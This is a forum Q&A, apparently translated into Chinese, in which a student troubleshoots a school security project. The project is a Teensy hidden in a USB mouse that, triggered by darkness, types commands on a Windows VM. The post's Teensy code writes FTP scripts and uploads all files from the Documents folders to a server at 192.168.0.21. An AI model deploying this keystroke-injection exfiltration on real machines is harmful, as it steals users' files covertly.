1

我有一个关于安全的学校项目。我的工作是定制一个带有 USB 集线器的硬件鼠标和一个 teensy 来对其进行编程。

teensy 上的代码在天黑时被执行(光敏电阻)。该代码在 win7 vm 上获取一些文件并将它们上传到托管在 kali vm 上的 Apache2 服务器(通过 win7 vm 中的 cmd 命令)。在 vmware 中一切正常,但我必须为我的项目使用 virtualbox。

我现在的问题是,在 virtualbox 中,cmd 命令会随机更改,例如:一些字母从小写变为大写,导致路径错误,因此无法找到文件,或者有时缺少反斜杠,这也会导致路径错误。

就像我说它只在 virtualbox 中,在 vmware 中我的整个项目工作得非常好,所以我不认为它是硬件问题

我使用最新的 virtualbox 版本 5.0.12

这是(不是实际的)我的小脚本样本

CommandAtRunBarMSWIN("cmd");
    delay(1500);
    Keyboard.println("echo cd upload > C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo prompt off >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mput C:\\Users\\user\\Documents\\*.* >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd upload > \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo prompt off >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mput \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\*.*\" >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("ftp -A -s:C:\\Users\\user\\Documents\\ftp.txt 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("ftp -A -s:\"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\" 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("exit");
4

1 回答 1

0

我发现了问题所在。我忘了用复选框手动绑定 Virtualbox 中的 USB Teensy,所以我认为驱动程序和我不知道的东西有点问题。

只要我在运行它之前总是在 virtualbox 中手动绑定它,它现在就可以工作。

于 2016-01-05T07:41:55.883 回答